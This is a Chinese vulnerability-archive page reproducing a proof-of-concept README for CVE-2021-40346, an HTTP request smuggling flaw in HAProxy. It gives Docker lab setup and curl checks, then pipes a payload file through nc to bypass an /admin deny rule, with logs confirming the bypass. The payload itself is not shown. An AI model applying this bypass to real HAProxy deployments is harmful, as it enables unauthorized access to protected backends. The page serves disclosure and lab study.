目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2021-40346 PoC — Haproxy HAProxy 输入验证错误漏洞

来源
关联漏洞
标题: Haproxy HAProxy 输入验证错误漏洞 (CVE-2021-40346)
Description:Haproxy HAProxy是法国HAProxy(Haproxy)公司的一款开源的TCP/HTTP负载均衡服务器。该服务器提供4层、7层代理,并能支持上万级别的连接,具有高效、稳定等特点。 HAProxy 存在输入验证错误漏洞,该漏洞源于 HAProxy 中的 htx_add_header() 和 htx_add_trailer() 函数中缺少标头名称长度检查可能会导致请求走私攻击或响应拆分攻击。
Description
CVE-2021-40346 PoC (HAProxy HTTP Smuggling)
介绍
# CVE-2021-40346
CVE-2021-40346 PoC (HAProxy HTTP Smuggling)

For educational purposes only

## Setup

```
$ docker build -t cve-2021-40346 .
$ docker run --name poc -p 8000:80 -d --rm -it cve-2021-40346
4941e9f23508b497e4cbe334a75e7cdb84c83478522ed85f48db3477f97a6fb4
```

## Test
Confirm `/admin` is denied.

```
$ curl http://localhost:8000
hello
$ curl http://localhost:8000/admin
<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
</body></html>
```

You will not see `/admin` in the log. It means the request didn't reach the backend server since HAProxy denied it.

```
$ docker logs poc
server start at port 8000
/
```

Then, you can make sure it can be bypassed by payload.txt.

```
$ cat payload.txt | nc localhost 8000
HTTP/1.1 200 OK
content-type: text/plain
date: Wed, 08 Sep 2021 22:31:10 GMT
keep-alive: timeout=5
transfer-encoding: chunked

6
hello

0
```

You will find `/admin` in the log.

```
$ docker logs poc
server start at port 8000
/
/
/admin
```

文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →